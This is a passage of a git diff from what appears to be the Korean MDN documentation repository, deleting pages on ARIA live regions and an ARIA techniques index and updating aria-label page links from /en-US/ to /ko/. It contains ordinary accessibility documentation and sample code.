-1. **`aria-live`**: `aria-live=POLITENESS_SETTING`는 스크린 리더가 live regions에 대한 업데이트를 처리할때 우선 순위를 설정하는 데 사용되며, 가능한 세팅으로 `off`, `polite`, `assertive` 가 있습니다. 기본 설정은 `off`입니다. 이 속성은 단연코 가장 중요합니다.
-2. **`aria-controls`**: The `aria-controls=[IDLIST]` is used to associate a control with the regions that it controls. Regions are identified just like an `id` in a `div`, and multiple regions can be associated with a control using a space, e.g. `aria-controls="myRegionID1 myRegionsID2"`.
-
-> **경고:** Not known if the aria-controls aspect of live regions is implemented in current ATs, or which. Needs research.
-
-Normally, only `aria-live="polite"` is used. Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle.
-
-For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with `aria-live="off"`.
-
-### Dropdown box updates useful onscreen information
-
-A website specializing in providing information about planets provides a dropdown box. When a planet is selected from the dropdown, a region on the page is updated with information about the selected planet.
-
-#### HTML
-
-```html
-<fieldset>
-  <legend>Planet information</legend>
-  <label for="planetsSelect">Planet:</label>
-  <select id="planetsSelect" aria-controls="planetInfo">
-    <option value="">Select a planet&hellip;</option>
-    <option value="mercury">Mercury</option>
-    <option value="venus">Venus</option>
-    <option value="earth">Earth</option>
-    <option value="mars">Mars</option>
-  </select>
-  <button id="renderPlanetInfoButton">Go</button>
-</fieldset>
-
-<div role="region" id="planetInfo" aria-live="polite">
-  <h2 id="planetTitle">No planet selected</h2>
-  <p id="planetDescription">Select a planet to view its description</p>
-</div>
-
-<p><small>Information courtesy <a href="https://en.wikipedia.org/wiki/Solar_System#Inner_Solar_System">Wikipedia</a></small></p>
-```
-
-#### JavaScript
-
-```js
-const PLANETS_INFO = {
-  mercury: {
-    title: 'Mercury',
-    description: 'Mercury is the smallest and innermost planet in the Solar System. It is named after the Roman deity Mercury, the messenger to the gods.'
-  },
-
-  venus: {
-    title: "Venus",
-    description: 'Venus is the second planet from the Sun. It is named after the Roman goddess of love and beauty.'
-  },
-
-  earth: {
-    title: "Earth",
-    description: 'Earth is the third planet from the Sun and the only object in the Universe known to harbor life.'
-  },
-
-  mars: {
-    title: "Mars",
-    description: 'Mars is the fourth planet from the Sun and the second-smallest planet in the Solar System after Mercury. In English, Mars carries a name of the Roman god of war, and is often referred to as the "Red Planet".'
-  }
-};
-
-function renderPlanetInfo(planet) {
-  const planetTitle = document.querySelector('#planetTitle');
-  const planetDescription = document.querySelector('#planetDescription');
-
-  if (planet in PLANETS_INFO) {
-    planetTitle.textContent = PLANETS_INFO[planet].title;
-    planetDescription.textContent = PLANETS_INFO[planet].description;
-  } else {
-    planetTitle.textContent = 'No planet selected';
-    planetDescription.textContent = 'Select a planet to view its description';
-  }
-}
-
-const renderPlanetInfoButton = document.querySelector('#renderPlanetInfoButton');
-
-renderPlanetInfoButton.addEventListener('click', event => {
-  const planetsSelect = document.querySelector('#planetsSelect');
-  const selectedPlanet = planetsSelect.options[planetsSelect.selectedIndex].value;
-
-  renderPlanetInfo(selectedPlanet);
-});
-```
-
-{{EmbedLiveSample('Dropdown_box_updates_useful_onscreen_information', '', 350)}}
-
-As the user selects a new planet, the information in the live region will be announced. Because the live region has `aria-live="polite"`, the screen reader will wait until the user pauses before announcing the update. Thus, moving down in the list and selecting another planet will not announce updates in the live region. Updates in the live region will only be announced for the planet finally chosen.
-
-Here is a screenshot of VoiceOver on Mac announcing the update (via subtitles) to the live region:
-
-![A screenshot of VoiceOver on Mac announcing the update to a live region. Subtitles are shown in the picture.](web_accessibility_aria_aria_live_regions.png)
-
-## Preferring specialized live region roles
-
-In the following well-known predefined cases it is better to use a specific provided "live region role":
-
-| Role        | Description                                                                                                                                                                          | Compatibility Notes                                                                                                                                                                                                      |
-| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| log         | Chat, error, game or other type of log                                                                                                                                               | To maximize compatibility, add a redundant `aria-live="polite"` when using this role.                                                                                                                                    |
-| status      | A status bar or area of the screen that provides an updated status of some kind. Screen reader users have a special command to read the current status.                              | To maximize compatibility, add a redundant `aria-live="polite"` when using this role.                                                                                                                                    |
-| alert       | Error or warning message that flashes on the screen. Alerts are particularly important for client side validation notices to users. (TBD: link to ARIA form tutorial with aria info) | To maximize compatibility, some people recommend adding a redundant `aria-live="assertive"` when using this role. However, adding both `aria-live` and `role="alert"` causes double speaking issues in VoiceOver on iOS. |
-| progressbar | A hybrid between a widget and a live region. Use this with aria-valuemin, aria-valuenow and aria-valuemax. (TBD: add more info here).                                                |                                                                                                                                                                                                                          |
-| marquee     | for text which scrolls, such as a stock ticker.                                                                                                                                      |                                                                                                                                                                                                                          |
-| timer       | or any kind of timer or clock, such as a countdown timer or stopwatch readout.                                                                                                       |                                                                                                                                                                                                                          |
-
-## Advanced live regions
-
-(TBD: more granular information on the support of the individual attributes with combinations of OS/Browser/AT).
-
-General support for Live Regions was added to JAWS on version 10.0. In Windows Eyes supports Live Regions since version 8.0 "for use outside of Browse Mode for Microsoft Internet Explorer and Mozilla Firefox". NVDA added some basic support for Live Regions for Mozilla Firefox back in 2008 and was improved in 2010 and 2014. In 2015, basic support was also added for Internet Explorer (MSHTML).
-
-The Paciello Group has some [information about the state of the support of Live Regions](https://www.paciellogroup.com/blog/2014/03/screen-reader-support-aria-live-regions/)(2014). Paul J. Adam has researched [the support of Aria-Atomic and Aria-Relevant](http://pauljadam.com/demos/aria-atomic-relevant.html) in particular.
-
-1. **`aria-atomic`**: The `aria-atomic=BOOLEAN` is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes. The possible settings are: `false` or `true`. The default setting is `false`.
-2. **[`aria-relevant`](/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute)**
-
-    : The `aria-relevant=[LIST_OF_CHANGES]` is used to set what types of changes are relevant to a live region. The possible settings are one or more of: `additions`, `removals`, `text`, `all`. The default setting is: `additions text`.
-
-3. **`aria-labelledby`**: The `aria-labelledby=[IDLIST]` is used to associate a region with its labels, similar to aria-controls but instead associating labels to the region. and label identifiers are separated with a space.
-4. **`aria-describedby`**: The `aria-describedby=[IDLIST]` is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space.
-
-### Advanced use case: Clock
-
-As an illustration of `aria-atomic`, consider a site with a simple clock, showing hours and minutes. The clock is updated each minute, with the new remaining time simply overwriting the current content.
-
-```html
-    <div id="clock" role="timer" aria-live="polite"></div>
-```
-
-```js
-/* basic JavaScript to update the clock */
-
-setInterval(function() {
-  var now = new Date();
-  document.getElementById('clock').innerHTML = "Time: " + now.getHours() + ":" + ("0"+now.getMinutes()).substr(-2);
-}, 60000);
-```
-
-The first time the function executes, the entirety of the string that is added will be announced. On subsequent calls, only the parts of the content that changed compared to the previous content will be announced. For instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.
-
-One way around this would be to first clear the contents of the live region, and then inject the new content. However, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates.
-
-`aria-atomic="true"` ensures that each time the live region is updated, the entirety of the content is announced in full (e.g. "Time: 17:34").
-
-```html
-    <div id="clock" role="timer" aria-live="polite" aria-atomic="true"></div>
-```
-
-> **참고:** As observed, setting/updating the innerHTML again would cause the whole text to be read again, whether or not you set aria-atomic="true", so the above Clock example does not work as expected.
-
-A working example of a simple year control for better understanding:
-
-```html
-    <div id="date-input">
-      <label>Year:
-        <input type="text" id="year" value="1990" onblur="change(event)"/>
-      </label>
-    </div>
-
-    <div id="date-output" aria-live="polite">
-      The set year is:
-      <span id="year-output">1990</span>
-    </div>
-```
-
-```js
-    function change(event) {
-      var yearOut = document.getElementById("year-output");
-      switch (event.target.id) {
-        case "year":
-          yearOut.innerHTML = event.target.value;
-          break;
-       default:
-          return;
-      }
-    };
-```
-
-Without `aria-atomic="true"` the screenreader announces only the changed value of year.
-
-With `aria-atomic="true"`, the screenreader announces "The set year is: _changedvalue_"
-
-### Advanced use case: Roster
-
-A chat site would like to display a list of users currently logged in. Display a list of users where a user's log-in and log-out status will be reflected dynamically (without a page reload).
-
-```html
-    <ul id="roster" aria-live="polite" aria-relevant="additions removals">
-      <!-- use JavaScript to add remove users here-->
-    </ul>
-```
-
-Breakdown of ARIA live properties:
-
-- `aria-live="polite"` indicates that the screen reader should wait until the user is idle before presenting updates to the user. This is the most commonly used value, as interrupting the user with "assertive" might interrupt their flow.
-- `aria-atomic` is not set (`false` by default) so that only the added or removed users should be spoken and not the entire roster each time.
-- `aria-relevant="additions removals"` ensures that both users added or removed to the roster will be spoken.
-
-## See also
-
-- [ARIA roles](/ko/docs/Web/Accessibility/ARIA/Roles)
diff --git a/files/ko/web/accessibility/aria/aria_techniques/index.md b/files/ko/web/accessibility/aria/aria_techniques/index.md
deleted file mode 100644
index fa1c49179670be..00000000000000
--- a/files/ko/web/accessibility/aria/aria_techniques/index.md
+++ /dev/null
@@ -1,163 +0,0 @@
----
-title: 'ARIA 사용하기: 규칙, 상태, 속성'
-slug: Web/Accessibility/ARIA/ARIA_Techniques
----
-
-ARIA defines semantics that can be applied to elements, with these divided into **roles** (defining a type of user interface element) and **states** and **properties** that are supported by a role. Authors must assign an ARIA role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate ARIA semantics (via use of an appropriate HTML element). Addition of ARIA semantics only exposes extra information to a browser's accessibility API, and does not affect a page's DOM.
-
-## Roles
-
-### Widget roles
-
-- [`button`](/en-US/docs/Web/Accessibility/ARIA/Roles/button_role)
-- [`checkbox`](/en-US/docs/Web/Accessibility/ARIA/Roles/checkbox_role)
-- [`gridcell`](/en-US/docs/Web/Accessibility/ARIA/Roles/gridcell_role)
-- [`link`](/en-US/docs/Web/Accessibility/ARIA/Roles/link_role)
-- [`menuitem`](/en-US/docs/Web/Accessibility/ARIA/Roles/menuitem_role)
-- [`menuitemcheckbox`](/en-US/docs/Web/Accessibility/ARIA/Roles/menuitemcheckbox_role)
-- [`menuitemradio`](/en-US/docs/Web/Accessibility/ARIA/Roles/menuitemradio_role)
-- [`option`](/en-US/docs/Web/Accessibility/ARIA/Roles/option_role)
-- [`progressbar`](/en-US/docs/Web/Accessibility/ARIA/Roles/progressbar_role)
-- [`radio`](/en-US/docs/Web/Accessibility/ARIA/Roles/radio_role)
-- [`scrollbar`](/en-US/docs/Web/Accessibility/ARIA/Roles/scrollbar_role)
-- [`searchbox`](/en-US/docs/Web/Accessibility/ARIA/Roles/searchbox_role)
-- [`separator`](/en-US/docs/Web/Accessibility/ARIA/Roles/separator_role) (when focusable)
-- [`slider`](/en-US/docs/Web/Accessibility/ARIA/Roles/slider_role)
-- [`spinbutton`](/en-US/docs/Web/Accessibility/ARIA/Roles/spinbutton_role)
-- [`switch`](/en-US/docs/Web/Accessibility/ARIA/Roles/switch_role)
-- [`tab`](/en-US/docs/Web/Accessibility/ARIA/Roles/tab_role)
-- [`tabpanel`](/en-US/docs/Web/Accessibility/ARIA/Roles/tabpanel_role)
-- [`textbox`](/en-US/docs/Web/Accessibility/ARIA/Roles/textbox_role)
-- [`treeitem`](/en-US/docs/Web/Accessibility/ARIA/Roles/treeitem_role)
-
-### Composite roles
-
-The techniques below describe each composite role as well as their required and optional child roles.
-
-- [`combobox`](/en-US/docs/Web/Accessibility/ARIA/Roles/combobox_role)
-- [`grid`](/en-US/docs/Web/Accessibility/ARIA/Roles/grid_role) (including [`row`](/en-US/docs/Web/Accessibility/ARIA/Roles/row_role), [`gridcell`](/en-US/docs/Web/Accessibility/ARIA/Roles/gridcell_role), [`rowheader`](/en-US/docs/Web/Accessibility/ARIA/Roles/rowheader_role), [`columnheader`](/en-US/docs/Web/Accessibility/ARIA/Roles/columnheader_role) roles)
-- [`listbox`](/en-US/docs/Web/Accessibility/ARIA/Roles/listbox_role) (including [`option`](/en-US/docs/Web/Accessibility/ARIA/Roles/option_role) role)
-- [`menu`](/en-US/docs/Web/Accessibility/ARIA/Roles/menu_role)
-- [`menubar`](/en-US/docs/Web/Accessibility/ARIA/Roles/menubar_role)
-- [`radiogroup`](/en-US/docs/web/accessibility/aria/roles/radiogroup_role) (see [`radio role`](/en-US/docs/Web/Accessibility/ARIA/Roles/radio_role))
-- [`tablist`](/en-US/docs/Web/Accessibility/ARIA/Roles/tablist_role) (including [`tab`](/en-US/docs/Web/Accessibility/ARIA/Roles/tab_role) and [`tabpanel`](/en-US/docs/Web/Accessibility/ARIA/Roles/tabpanel_role) roles)
-- [`tree`](/en-US/docs/Web/Accessibility/ARIA/Roles/tree_role)
-- [`treegrid`](/en-US/docs/Web/Accessibility/ARIA/Roles/treegrid_role)
-
-### Document structure roles
-
-- [`application`](/en-US/docs/Web/Accessibility/ARIA/Roles/application_role)
-- [`article`](/en-US/docs/Web/Accessibility/ARIA/Roles/article_role)
-- [`cell`](/en-US/docs/Web/Accessibility/ARIA/Roles/cell_role)
-- [`columnheader`](/en-US/docs/Web/Accessibility/ARIA/Roles/columnheader_role)
-- [`definition`](/en-US/docs/Web/Accessibility/ARIA/Roles/definition_role)
-- [`directory`](/en-US/docs/Web/Accessibility/ARIA/Roles/directory_role)
-- [`document`](/en-US/docs/Web/Accessibility/ARIA/Roles/document_role)
-- [`feed`](/en-US/docs/Web/Accessibility/ARIA/Roles/feed_role)
-- [`figure`](/en-US/docs/Web/Accessibility/ARIA/Roles/figure_role)
-- [`group`](/en-US/docs/Web/Accessibility/ARIA/Roles/group_role)
-- [`heading`](/en-US/docs/Web/Accessibility/ARIA/Roles/heading_role)
-- [`img`](/en-US/docs/Web/Accessibility/ARIA/Roles/img_role)
-- [`list`](/en-US/docs/Web/Accessibility/ARIA/Roles/list_role)
-- [`listitem`](/en-US/docs/Web/Accessibility/ARIA/Roles/listitem_role)
-- [`math`](/en-US/docs/Web/Accessibility/ARIA/Roles/math_role)
-- [`none`](/en-US/docs/Web/Accessibility/ARIA/Roles/none_role)
-- [`note`](/en-US/docs/Web/Accessibility/ARIA/Roles/note_role)
-- [`presentation`](/en-US/docs/Web/Accessibility/ARIA/Roles/presentation_role)
-- [`row`](/en-US/docs/Web/Accessibility/ARIA/Roles/row_role)
-- [`rowgroup`](/en-US/docs/Web/Accessibility/ARIA/Roles/rowgroup_role)
-- [`rowheader`](/en-US/docs/Web/Accessibility/ARIA/Roles/rowheader_role)
-- [`separator`](/en-US/docs/Web/Accessibility/ARIA/Roles/separator_role)
-- [`table`](/en-US/docs/Web/Accessibility/ARIA/Roles/table_role)
-- [`term`](/en-US/docs/Web/Accessibility/ARIA/Roles/term_role)
-- [`toolbar`](/en-US/docs/Web/Accessibility/ARIA/Roles/toolbar_role)
-- [`tooltip`](/en-US/docs/Web/Accessibility/ARIA/Roles/tooltip_role)
-
-### Landmark roles
-
-- [`banner`](/en-US/docs/Web/Accessibility/ARIA/Roles/banner_role)
-- [`complementary`](/en-US/docs/Web/Accessibility/ARIA/Roles/complementary_role)
-- [`contentinfo`](/en-US/docs/Web/Accessibility/ARIA/Roles/contentinfo_role)
-- [`form`](/en-US/docs/Web/Accessibility/ARIA/Roles/form_role)
-- [`main`](/en-US/docs/Web/Accessibility/ARIA/Roles/main_role)
-- [`navigation`](/en-US/docs/Web/Accessibility/ARIA/Roles/navigation_role)
-- [`region`](/en-US/docs/Web/Accessibility/ARIA/Roles/region_role)
-- [`search`](/en-US/docs/Web/Accessibility/ARIA/Roles/search_role)
-
-### Live Region Roles
-
-- [`alert`](/en-US/docs/Web/Accessibility/ARIA/Roles/alert_role)
-- [`log`](/en-US/docs/Web/Accessibility/ARIA/Roles/log_role)
-- [`marquee`](/en-US/docs/Web/Accessibility/ARIA/Roles/marquee_role)
-- [`status`](/en-US/docs/Web/Accessibility/ARIA/Roles/status_role)
-- [`timer`](/en-US/docs/Web/Accessibility/ARIA/Roles/timer_role)
-
-### Window Roles
-
-- [`alertdialog`](/en-US/docs/Web/Accessibility/ARIA/Roles/alertdialog_role)
-- [`dialog`](/en-US/docs/Web/Accessibility/ARIA/Roles/dialog_role)
-
-## States and properties
-
-### Widget attributes
-
-- [`aria-autocomplete`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-autocomplete)
-- [`aria-checked`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-checked)
-- [`aria-current`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-current)
-- [`aria-disabled`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-disabled)
-- [`aria-errormessage`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-errormessage)
-- [`aria-expanded`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-expanded)
-- [`aria-haspopup`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-haspopup)
-- [`aria-hidden`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-hidden)
-- [`aria-invalid`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-invalid)
-- [`aria-label`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-label)
-- [`aria-level`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-level)
-- [`aria-modal`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-modal)
-- [`aria-multiline`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-multiline)
-- [`aria-multiselectable`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-multiselectable)
-- [`aria-orientation`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-orientation)
-- [`aria-placeholder`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-placeholder)
-- [`aria-pressed`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-pressed)
-- [`aria-readonly`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-readonly)
-- [`aria-required`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-required)
-- [`aria-selected`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-selected)
-- [`aria-sort`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-sort)
-- [`aria-valuemax`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-valuemax)
-- [`aria-valuemin`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-valuemin)
-- [`aria-valuenow`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-valuenow)
-- [`aria-valuetext`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-valuetext)
-
-### Live region attributes
-
-- [`aria-live`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-live)
-- [`aria-relevant`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-relevant)
-- [`aria-atomic`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-atomic)
-- [`aria-busy`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-busy)
-
-### Drag & drop attributes
-
-- [`aria-dropeffect`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-dropeffect) {{deprecated_inline}}
-- [`aria-grabbed`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-grabbed) {{deprecated_inline}}
-
-### Relationship attributes
-
-- [`aria-activedescendant`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-activedescendant)
-- [`aria-colcount`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-colcount)
-- [`aria-colindex`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-colindex)
-- [`aria-colspan`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-colspan)
-- [`aria-controls`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-controls)
-- [`aria-describedby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby)
-- [`aria-details`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-details)
-- [`aria-errormessage`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-errormessage)
-- [`aria-flowto`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-flowto)
-- [`aria-labelledby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby)
-- [`aria-owns`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-owns)
-- [`aria-posinset`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-posinset)
-- [`aria-rowcount`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-rowcount)
-- [`aria-rowindex`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-rowindex)
-- [`aria-rowspan`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-rowspan)
-- [`aria-setsize`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-setsize)
-
-### MicrosoftEdge-specific properties
-
-- [`x-ms-aria-flowfrom`](/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/x-ms-aria-flowfrom) {{Non-standard_Inline}}
diff --git a/files/ko/web/accessibility/aria/attributes/aria-label/index.md b/files/ko/web/accessibility/aria/attributes/aria-label/index.md
index 0757d850b52f1a..f7518f08d6353b 100644
--- a/files/ko/web/accessibility/aria/attributes/aria-label/index.md
+++ b/files/ko/web/accessibility/aria/attributes/aria-label/index.md
@@ -9,7 +9,7 @@ slug: Web/Accessibility/ARIA/Attributes/aria-label
 
 때때로 요소의 기본 [접근자 이름](https://w3c.github.io/accname/#dfn-accessible-name)이 없는 경우, 또는 그 콘텐츠를 명확하게 설명하지 못한 경우, 그리고 해당 요소에게 의미를 주기 위한 객체와 연관된 DOM 안에 보이는 콘텐츠가 없는 경우가 있습니다. 흔한 예로 SVG 또는 [icon font (사용해서는 안되는 방법입니다)](https://www.youtube.com/watch?v=9xXBYcWgCHA).
 
-상호작용을 하는 요소에 접근자 이름이 없거나, 접근자 이름이 부정확한 경우, 또는 [`aria-labelledby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) 속성을 통해 참조되는 DOM 안에 보이는 콘텐츠가 없는 경우에 `aria-label` 속성은 이 속성이 부여된 상호작용 요소에 지정할 문자열을 정의하는데 사용될 수 있습니다. 이는 해당 요소에게 접근자 이름을 제공하게 됩니다.
+상호작용을 하는 요소에 접근자 이름이 없거나, 접근자 이름이 부정확한 경우, 또는 [`aria-labelledby`](/ko/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) 속성을 통해 참조되는 DOM 안에 보이는 콘텐츠가 없는 경우에 `aria-label` 속성은 이 속성이 부여된 상호작용 요소에 지정할 문자열을 정의하는데 사용될 수 있습니다. 이는 해당 요소에게 접근자 이름을 제공하게 됩니다.
 
 ```html
 <button aria-label="Close" onclick="myDialog.close()">
@@ -30,19 +30,19 @@ slug: Web/Accessibility/ARIA/Attributes/aria-label
 
 대부분의 콘텐츠에는 이를 직접 감싸는 요소의 텍스트 콘텐츠로부터 생성된 접근자 이름이 있습니다. 또한, 접근자이름들은 특정 속성들 또는 연관된 요소들로부터 생성될 수 있습니다.
 
-기본적으로, 버튼의 접근자 이름은 {{HTMLElement('button')}}의 여는 태그와, 닫는 태그 사이의 콘텐츠이고, image 요소의 접근자 이름은 [`alt`](/en-US/docs/Web/HTML/Element/img#attr-alt) 속성의 콘텐츠, 그리고 form input요소의 접근자 이름은 연결된 {{HTMLElement('label')}} 요소의 콘텐츠입니다.
+기본적으로, 버튼의 접근자 이름은 {{HTMLElement('button')}}의 여는 태그와, 닫는 태그 사이의 콘텐츠이고, image 요소의 접근자 이름은 [`alt`](/ko/docs/Web/HTML/Element/img#attr-alt) 속성의 콘텐츠, 그리고 form input요소의 접근자 이름은 연결된 {{HTMLElement('label')}} 요소의 콘텐츠입니다.
 
 만약 이러한 옵션들 중 가능한 것이 없거나, 초기 접근자 이름이 적합하지 않은 경우, `aria-label` 속성을 사용하여 요소의 접근자 이름을 정의합니다.
 
-`aria-label`은 요소에 레이블할 수 있는 텍스트가 표기가능하지 _않은_ 경우 사용할 수 있습니다. 만일 요소에 레이블할 수 있는 보이는 텍스트가 있다면, [`aria-labelledby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby)를 대신 사용하시기 바랍니다.
+`aria-label`은 요소에 레이블할 수 있는 텍스트가 표기가능하지 _않은_ 경우 사용할 수 있습니다. 만일 요소에 레이블할 수 있는 보이는 텍스트가 있다면, [`aria-labelledby`](/ko/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby)를 대신 사용하시기 바랍니다.
 
 `aria-label`의 목적은 `aria-labelledby`와 같습니다. 둘 다 요소에 접근자 이름을 제공합니다. 만일 당신이 참조할 수 있는 요소에 대해 표시가능한 이름이 없다면, 사용자에게 인지가능하고 접근가능한 이름을 제공하기 위하여 `aria-label`을 사용하시기 바랍니다. 만약 레이블 텍스트가 DOM 안에 사용가능하고, DOM 콘텐츠 및 허용 가능한 사용자 경험을 참조하는 경우라면, `aria-labelledby`를 사용하는 것을 권장합니다. 둘 다 포함하여 사용하지 마시기 바랍니다. 둘 다 동일한 요소에 있다면, `aria-labelledby`가 `aria-label`보다 우선됩니다.
 
-`aria-label` 속성은 일반적인 시멘틱 HTML요소들과 함께 사용될 수 있습니다. 이는 [ARIA `roles`](/en-US/docs/Web/Accessibility/ARIA/Roles)이 할당된 요소에만 국한되지 않습니다.
+`aria-label` 속성은 일반적인 시멘틱 HTML요소들과 함께 사용될 수 있습니다. 이는 [ARIA `roles`](/ko/docs/Web/Accessibility/ARIA/Roles)이 할당된 요소에만 국한되지 않습니다.
 
 `aria-label`을 "남용"하지 마십시오. 예를 들어, 추가적인 지침 또는 명확한 사용자 경험을 제공하기 위해 `aria-label`이 아닌 `aria-describedby` 또는 `aria-description`과 함께 표시가능한 텍스트를 사용하십시오. 오직 스크린 리더에만 지침을 지정하실 필요는 없음을 잊지 마십시오. 만일 지침이 필요하다면, 모두에게 제공하시기 바랍니다 (또는 가급적 사용자 인터페이스를 보다 직관적으로 만들어 주시기 바랍니다).
 
-모든 요소에 접근자 이름을 지정할 수 있는 것은 아닙니다. `aria-label`과 `aria-labelledby` 둘 다 `code`, `term`, 또는 `emphasis`와 같은 비상호작용 요소 또는 인라인 구조적 역할과 함께 사용해서는 안되며, 의미체계가 `presentation`, `none`, `hidden`을 포함한 접근성 API에 사상되지 않는 역할들과 함께 사용해서는 안됩니다. `aria-label` 속성은 오직 상호작용 요소에만 사용됩니다. 접근자 이름을 확실하게 하기 위해 `aria-label`을 사용하십시오. links, videos, form 조절, [랜드마크 roles](/en-US/docs/Web/Accessibility/ARIA/Roles#3._landmark_roles), [위젯 roles](/en-US/docs/Web/Accessibility/ARIA/Roles#2._widget_roles)과 같은 역할과 모든 상호작용 요소에 대하여 DOM에 아무것도 표시되지 않는 경우 접근자 이름이 제공되도록 `aria-label`을 사용하십시오.
+모든 요소에 접근자 이름을 지정할 수 있는 것은 아닙니다. `aria-label`과 `aria-labelledby` 둘 다 `code`, `term`, 또는 `emphasis`와 같은 비상호작용 요소 또는 인라인 구조적 역할과 함께 사용해서는 안되며, 의미체계가 `presentation`, `none`, `hidden`을 포함한 접근성 API에 사상되지 않는 역할들과 함께 사용해서는 안됩니다. `aria-label` 속성은 오직 상호작용 요소에만 사용됩니다. 접근자 이름을 확실하게 하기 위해 `aria-label`을 사용하십시오. links, videos, form 조절, [랜드마크 roles](/ko/docs/Web/Accessibility/ARIA/Roles#3._landmark_roles), [위젯 roles](/ko/docs/Web/Accessibility/ARIA/Roles#2._widget_roles)과 같은 역할과 모든 상호작용 요소에 대하여 DOM에 아무것도 표시되지 않는 경우 접근자 이름이 제공되도록 `aria-label`을 사용하십시오.
 
 만일 {{HTMLElement('iframe')}}에 `title`, image에 `alt` 속성, 그리고 input과 연관된 {{HTMLElement('label')}}을 지정하면, `aria-label`은 필요하지 않습니다. 그러나, `aria-label`이 있는 경우 `iframe`과 image, `input`의 접근자 이름인 `title`과 `alt`, 그리고 `<label>` 보다 우선순위를 가지게 됩니다.
 
@@ -56,9 +56,9 @@ slug: Web/Accessibility/ARIA/Attributes/aria-label
 ## ARIAMixin API
 
 - {{domxref("Element.ariaLabel")}}
-  - : {{domxref("Element")}} 인터페이스의 일부인 [`ariaLabel`](/en-US/docs/Web/API/Element/ariaLabel) 속성은 `aria-label` 속성의 값을 반영합니다.
+  - : {{domxref("Element")}} 인터페이스의 일부인 [`ariaLabel`](/ko/docs/Web/API/Element/ariaLabel) 속성은 `aria-label` 속성의 값을 반영합니다.
 - {{domxref("ElementInternals.ariaLabel")}}
-  - : {{domxref("ElementInternals")}} 인터페이스의 일부인 [`ariaLabel`](/en-US/docs/Web/API/ElementInternals/ariaLabel) 속성은 `aria-label` 속성의 값을 반영합니다.
+  - : {{domxref("ElementInternals")}} 인터페이스의 일부인 [`ariaLabel`](/ko/docs/Web/API/ElementInternals/ariaLabel) 속성은 `aria-label` 속성의 값을 반영합니다.
 
 ## Associated roles
 
@@ -66,21 +66,21 @@ slug: Web/Accessibility/ARIA/Attributes/aria-label
 
 `aria-label` 속성이 지원되지 **않는** 역할들:
 
-- [`code`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`caption`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`deletion`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`emphasis`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`generic`](/en-US/docs/Web/Accessibility/ARIA/Roles/generic_role)
-- [`insertion`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
-- [`mark`](/en-US/docs/Web/Accessibility/ARIA/Roles/mark_role)
-- [`paragraph`](/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles)
